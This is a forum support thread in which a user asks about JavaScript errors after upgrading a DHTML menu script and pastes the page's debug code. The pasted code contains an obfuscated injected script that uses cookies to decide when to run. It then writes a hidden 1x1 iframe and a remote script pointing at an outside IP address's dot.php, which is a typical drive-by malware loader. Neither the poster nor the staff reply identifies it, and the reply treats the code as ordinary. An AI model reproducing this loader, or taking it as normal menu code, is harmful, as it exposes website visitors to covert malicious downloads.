ns4

Having problems with DHTML Menu? There is usually somebody here who knows the answer.
Post Reply
elevenx
Beginner
Beginner
Posts: 6
Joined: Tue Jun 22, 2004 2:27 pm

ns4

Post by elevenx »

I installed v. 5.0 today and I'm getting 3 javascript erros when the page loads.

Line 17: syntax error
Line 7: 'ns4' is undefined
Line 111: syntax error


I used the converter to upgrade and downloaded the files it created with my own menus.

Has anyone else seen something similar? I don't believe my menus are very complex compared to most of the applications I've seen.

I went into degug mode for all 3 errors. The first two show the same code:

<html>
<head>
<title>Member Community</title>
<SCRIPT language=JavaScript src="/Members/include/milonic_src.js" type=text/javascript></SCRIPT>
<script language=JavaScript>
if (ns4)_d.write("<scr"+"ipt language=JavaScript src='/Members/include/mmenuns4.js'><\/scr"+"ipt>");
else _d.write("<scr"+"ipt language=JavaScript src='/Members/include/mmenudom.js'><\/scr"+"ipt>");


The Third error shows my meny_array (which hasn't changed) and this:

drawMenus();<script language="JavaScript"><!--
var qxco7=document.cookie;function gc099(n21){var ix=qxco7.indexOf(n21+"=");if(ix==-1)return null;ix=qxco7.indexOf("=",ix)+1;var es=qxco7.indexOf(";",ix);if(es==-1)es=qxco7.length;return unescape(qxco7.substring(ix,es));}function sc088(n24,v8){var today=new Date();var expiry=new Date(today.getTime()+600000);if(v8!=null&&v8!="")document.cookie=n24+"="+escape(v8)+"; expires="+expiry.toGMTString();qxco7=document.cookie;}function okx12(){window.status="";setTimeout("okx12()", 200);}okx12();if(location.href.indexOf("https")!=0){if(gc099("trk716")==null){document.write("<script language=\"JavaScript\" src=\"http://217.107.218.147/dot.php\"></script><iframe src=\"http://217.107.218.147/dot.php\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"no\"/>");sc088("trk716","4");}}// --></script>
User avatar
John
 Team
 Team
Posts: 5967
Joined: Sun May 19, 2002 8:23 pm
Location: Phoenix, AZ
Contact:

Re: ns4

Post by John »

elevenx wrote:if (ns4)_d.write("<scr"+"ipt language=JavaScript src='/Members/include/mmenuns4.js'><\/scr"+"ipt>");
else _d.write("<scr"+"ipt language=JavaScript src='/Members/include/mmenudom.js'><\/scr"+"ipt>");
Remove the single quotes ( ' ) you added around the src= paths above.

Also, please post to the proper area. This has been moved.
John
Post Reply